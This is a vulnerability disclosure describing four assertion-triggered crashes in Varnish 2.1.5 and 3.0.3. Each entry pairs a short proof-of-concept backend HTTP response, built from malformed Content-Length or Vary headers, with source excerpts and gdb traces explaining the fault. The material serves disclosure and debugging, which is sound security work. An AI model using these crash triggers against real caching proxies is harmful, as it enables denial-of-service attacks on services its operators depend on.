####################################### # STV_alloc() | ((st) != NULL) # ####################################### # # Authors: # # 22733db72ab3ed94b5f8a1ffcde850251fe6f466 # c8e74ebd8392fda4788179f9a02bb49337638e7b # AKAT-1 # ####################################### # Versions: 2.1.5 # Full panic message: # Panic message: Assert error in STV_alloc(), stevedore.c line 192:#012 Condition((st) != NULL) not true. ## Summary: Varnish 2.1.5 crash and restart (via assert) while parsing Content-Length: header (backend response). This could be used if attacker gained access to backed systems (for example injecting HTTP headers in buggy web application), or when backend system is not managed by the same entity as the varnish proxy. POC(response): -- cut -- HTTP/1.1 200 OK Content-Length: 2147483647 -- cut -- # Brief and unfinished pointers on what happens here : core: 153 struct storage * 154 STV_alloc(struct sess *sp, size_t size, struct objcore *oc) 155 { 156 struct storage *st; 157 struct stevedore *stv = NULL; 158 unsigned fail = 0; 159 160 /* 161 * Always try the stevedore which allocated the object in order to 162 * not needlessly split an object across multiple stevedores. 163 */ 164 if (sp->obj != NULL) { 165 CHECK_OBJ_NOTNULL(sp->obj, OBJECT_MAGIC); 166 if (sp->obj->objstore != NULL) { 167 stv = sp->obj->objstore->stevedore; 168 CHECK_OBJ_NOTNULL(stv, STEVEDORE_MAGIC); 169 } 170 } 171 172 for (;;) { 173 if (stv == NULL) { 174 stv = stv_pick_stevedore(); 175 fail = 0; 176 } 177 178 /* try to allocate from it */ 179 AN(stv->alloc); 180 st = stv->alloc(stv, size, oc); 181 if (st != NULL) 182 break; 183 184 /* no luck; try to free some space and keep trying */ 185 if (EXP_NukeOne(sp, stv->lru) == -1) 186 break; 187 188 /* Enough is enough: try another if we have one */ 189 if (++fail == 50) 190 stv = NULL; 191 } 192 CHECK_OBJ_NOTNULL(st, STORAGE_MAGIC); 193 return (st); 194 } Assertion from line 192 fails as STORAGE_MAGIC is defined as : cache.h line 276: -- cut -- #define STORAGE_MAGIC 0x1a4e51c0 -- cut -- while the CHECK_OBJ_NOTNULL macro (include/miniobj.h ) is defined as : #define CHECK_OBJ_NOTNULL(ptr, type_magic) \ do { \ assert((ptr) != NULL); \ assert((ptr)->magic == type_magic); \ } while (0) and st is NULL when it reaches the macro as 180 st = stv->alloc(stv, size, oc); stv structure is declared in stevandore.h as follows : -- cut -- struct stevedore { unsigned magic; #define STEVEDORE_MAGIC 0x4baf43db const char *name; storage_init_f *init; /* called by mgt process */ storage_open_f *open; /* called by cache process */ storage_alloc_f *alloc; storage_trim_f *trim; storage_free_f *free; storage_object_f *object; storage_close_f *close; struct lru *lru; /* private fields */ void *priv; VTAILQ_ENTRY(stevedore) list; }; -- cut -- so after the second pass when it tries to allocate it , it calls 180 st = stv->alloc(stv, size, oc); at which point st is cleared to 0x0 alloc is a function pointer to storage_alloc_f $1 = (storage_alloc_f *) 0x44a29a <smf_alloc> smf_alloc is in turn defined in storage_file.c Breakpoint 2, smf_alloc (st=0x7f5b34e48080, size=2147483647, oc=0x0) at storage_file.c:463 (gdb) info args st = 0x7f5b34e48080 size = 2147483647 oc = 0x0 in smf_alloc though it calls alloc_smf , where it gets 0 so it returns NULL ââ€â€š471 smf = alloc_smf(sc, size); ââ€â€š472 if (smf == NULL) { ââ€â€š473 Lck_Unlock(&sc->mtx); ââ€â€š474 return (NULL); ââ€â€š475 } alloc_smf : ââ€â€š231 struct smf *sp, *sp2; .. (gdb) macro expand VTAILQ_FOREACH(sp, &sc->free[NBUCKET -1], status) expands to: for ((sp) = (((&sc->free[(128 / 4 + 1) -1]))->vtqh_first); (sp); (sp) = (((sp))->status.vtqe_next)) basically while it cycles through this linked list, it reaches (gdb) p sp->size $13 = 798867456 (gdb) nexti (gdb) p sp->size $14 = 798875648 delta = 8192 (gdb) p sp->size $20 = 798875648 (gdb) nexti (gdb) p sp->size $21 = 798871552 delta = -4096 (gdb) p sp->size $24 = 798871552 (gdb) nexti (gdb) p sp->size $25 = 798875648 delta = 4096 one of the sp->status->vtsq_next must be null sc is some kind of allocator divided into free and used : Breakpoint 1, alloc_smf (sc=0x7f2d5424a300, bytes=2147483648) at storage_file.c:234 234 assert(!(bytes % sc->pagesize)); (gdb) p *sc $1 = {filename = 0x7f2d5421f040 "/tmp/dsdsd", fd = 3, pagesize = 4096, filesize = 6390988800, order = { vtqh_first = 0x7f2d54205a80, vtqh_last = 0x7f2d542055b8}, free = {{vtqh_first = 0x0, vtqh_last = 0x7f2d5424a328}, {vtqh_first = 0x0, vtqh_last = 0x7f2d5424a338}, {vtqh_first = 0x0, vtqh_last = 0x7f2d5424a348}, { vtqh_first = 0x0, vtqh_last = 0x7f2d5424a358}, {vtqh_first = 0x0, vtqh_last = 0x7f2d5424a368}, { vtqh_first = 0x0, vtqh_last = 0x7f2d5424a378}, {vtqh_first = 0x0, vtqh_last = 0x7f2d5424a388}, { vtqh_first = 0x0, vtqh_last = 0x7f2d5424a398}, {vtqh_first = 0x0, vtqh_last = 0x7f2d5424a3a8}, { vtqh_first = 0x0, vtqh_last = 0x7f2d5424a3b8}, {vtqh_first = 0x0, vtqh_last = 0x7f2d5424a3c8}, { vtqh_first = 0x0, vtqh_last = 0x7f2d5424a3d8}, {vtqh_first = 0x0, vtqh_last = 0x7f2d5424a3e8}, { vtqh_first = 0x0, vtqh_last = 0x7f2d5424a3f8}, {vtqh_first = 0x0, vtqh_last = 0x7f2d5424a408}, { vtqh_first = 0x0, vtqh_last = 0x7f2d5424a418}, {vtqh_first = 0x0, vtqh_last = 0x7f2d5424a428}, { vtqh_first = 0x0, vtqh_last = 0x7f2d5424a438}, {vtqh_first = 0x0, vtqh_last = 0x7f2d5424a448}, { vtqh_first = 0x0, vtqh_last = 0x7f2d5424a458}, {vtqh_first = 0x0, vtqh_last = 0x7f2d5424a468}, { vtqh_first = 0x0, vtqh_last = 0x7f2d5424a478}, {vtqh_first = 0x0, vtqh_last = 0x7f2d5424a488}, { vtqh_first = 0x0, vtqh_last = 0x7f2d5424a498}, {vtqh_first = 0x0, vtqh_last = 0x7f2d5424a4a8}, { vtqh_first = 0x0, vtqh_last = 0x7f2d5424a4b8}, {vtqh_first = 0x0, vtqh_last = 0x7f2d5424a4c8}, { vtqh_first = 0x0, vtqh_last = 0x7f2d5424a4d8}, {vtqh_first = 0x0, vtqh_last = 0x7f2d5424a4e8}, { vtqh_first = 0x0, vtqh_last = 0x7f2d5424a4f8}, {vtqh_first = 0x0, vtqh_last = 0x7f2d5424a508}, { vtqh_first = 0x0, vtqh_last = 0x7f2d5424a518}, {vtqh_first = 0x7f2d54205540, vtqh_last = 0x7f2d54205b08}}, used = {vtqh_first = 0x7f2d4c50c0c0, vtqh_last = 0x7f2d4c50c148}, mtx = {priv = 0x7f2d542205e0}} (gdb) EOF ===================================================== ###################################### # VRY_Create() | (*q == ',') # ###################################### # # Authors: # # 22733db72ab3ed94b5f8a1ffcde850251fe6f466 # c8e74ebd8392fda4788179f9a02bb49337638e7b # AKAT-1 # ####################################### ## Versions affected: 3.0.3 2.1.5 ## Summary: Varnish 2.1.5 and 3.0.3 crash and restart (via assert) while parsing Vary header (backend response). This could be used if attacker gained access to backed systems (for example injecting HTTP headers in buggy web application), or when backend system is not managed by the same entity as the varnish proxy. ## PoC (response from backend): -- cut -- HTTP/1.1 200 OK Vary: a a -- cut -- ## PoC (request): -- cut -- GET / HTTP/1.1 Host: foo -- cut -- ## Details: Varnish 2.1.5) child pid will crash with the following message: "Panic message: Missing errorhandling code in VRY_Create(), cache_vary.c line 128:#012 Condition(*q == ',') not true." Varnish 3.0.3) child pid will crash with the followin message: "Condition(*q == ',') not true.thread = (cache-worker)#012ident = Linux,3.2.0-4-amd64,x86_64,-smalloc,-smalloc,-hcritbit,epoll#012Backtrace:#" # Brief and unfinished pointers on what happens here (based on 2.1.5) : The 'q' variable (90 line) is a pointer to 1st character of the 'Vary' header value, which is 'a' from POC. The 'for' loop (90 line) then checks if the 'q' isn't space and ','. If it is, then increments the 'q'. The 2nd iteration makes 'q' pointing at ' ' from POC. The 'while' loop (118 line) then skips spaces incrementing 'q', thus 'q' points at 'b' from POC, which is obviously != '\0' (120 line). Finaly 'q' is != ',' so the assert is triggered (122 line). include/vas.h: 57 #define xxxassert(e) \ 58 do { \ 59 if (!(e)) \ 60 VAS_Fail(__func__, __FILE__, __LINE__, #e, errno, 1); \ 61 } while (0) bin/varnishd/cache_vary.c: 62 struct vsb * 63 VRY_Create(const struct sess *sp, const struct http *hp) 64 { 65 char *v, *p, *q, *h, *e; 66 struct vsb *sb, *sbh; 67 unsigned l; 68 69 /* No Vary: header, no worries */ 70 if (!http_GetHdr(hp, H_Vary, &v)) 71 return (NULL); 72 73 /* For vary matching string */ 74 sb = VSB_new_auto(); 75 AN(sb); 76 77 /* For header matching strings */ 78 sbh = VSB_new_auto(); 79 AN(sbh); 80 81 if (*v == ':') { 82 WSP(sp, SLT_Error, "Vary header had extra ':', fix backend"); 83 v++; 84 } 85 for (p = v; *p; p++) { 86 87 /* Find next header-name */ 88 if (vct_issp(*p)) 89 continue; 90 for (q = p; *q && !vct_issp(*q) && *q != ','; q++) 91 continue; 92 93 /* Build a header-matching string out of it */ 94 VSB_clear(sbh); 95 VSB_printf(sbh, "%c%.*s:%c", 96 (char)(1 + (q - p)), (int)(q - p), p, 0); 97 AZ(VSB_finish(sbh)); 98 99 if (http_GetHdr(sp->http, VSB_data(sbh), &h)) { 100 AZ(vct_issp(*h)); 101 /* Trim trailing space */ 102 e = strchr(h, '\0'); 103 while (e > h && vct_issp(e[-1])) 104 e--; 105 /* Encode two byte length and contents */ 106 l = e - h; 107 assert(!(l & ~0xffff)); 108 } else { 109 e = h; 110 l = 0xffff; 111 } 112 VSB_printf(sb, "%c%c", (int)(l >> 8), (int)(l & 0xff)); 113 /* Append to vary matching string */ 114 VSB_bcat(sb, VSB_data(sbh), VSB_len(sbh)); 115 if (e != h) 116 VSB_bcat(sb, h, e - h); 117 118 while (vct_issp(*q)) 119 q++; 120 if (*q == '\0') 121 break; 122 xxxassert(*q == ','); 123 p = q; 124 } EOF ===================================================== ############################################## # http_GetHdr() | (l == strlen(hdr + 1)) # ############################################## # # Authors: # # 22733db72ab3ed94b5f8a1ffcde850251fe6f466 # c8e74ebd8392fda4788179f9a02bb49337638e7b # AKAT-1 # ############################################## # Versions: 3.0.3, 2.1.5 # Summary: It's possible to crash Varnish (via assertion) if the single header within the Vary header is longer then 127 bytes. The 'l' (cache_http.c#265) is the length of the given header name passed in a 'Vary' header and stored in the 'vsb' structure (vsb.h#39). It's compared with the strlen() of the same header name in the diagnostic() call (cache_http.c#266), which is a macro to assert() (include/vas.h#68). Because header name was stored in the 'vsb' as a signed char (cache_vary.c#98), the maximum value for 'l' is 127. If the header name is equal or larger than this value (which is the case for strlen()), the assert() is called and the child is killed with the SIGABRT. PoC (response) -- cut -- HTTP/1.1 200 foo Vary: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa -- cut -- varnish-3.0.3/bin/varnishd/cache_vary.c: -- cut -- 95 /* Build a header-matching string out of it */ 96 VSB_clear(sbh); 97 VSB_printf(sbh, "%c%.*s:%c", 98 (char)(1 + (q - p)), (int)(q - p), p, 0); 99 AZ(VSB_finish(sbh)); 100 101 if (http_GetHdr(sp->http, VSB_data(sbh), &h)) { -- cut -- varnish-3.0.3/bin/varnishd/cache_http.c: -- cut -- 260 http_GetHdr(const struct http *hp, const char *hdr, char **ptr) 261 { 262 unsigned u, l; 263 char *p; 264 265 l = hdr[0]; 266 diagnostic(l == strlen(hdr + 1)); 267 assert(hdr[l] == ':'); -- cut -- EOF ===================================================== ############################################### # fetch_straight() | ((uintmax_t)cl == cll) # ############################################### # # Authors: # # 22733db72ab3ed94b5f8a1ffcde850251fe6f466 # c8e74ebd8392fda4788179f9a02bb49337638e7b # AKAT-1 # ####################################### # Versions: 2.1.5 # Summary It is possible to crash (via assert) varnish child processes by sending invalid Content-Length reponse header. * Panic message: Assert error in fetch_straight(), cache_fetch.c line 65:#012 Condition((uintmax_t)cl == cll) not true. POC(response): -- cut -- HTTP/1.1 200 OK Content-Type: text/xml; charset=utf-8 Content-Length: 99999999999999999 -- cut -- EOF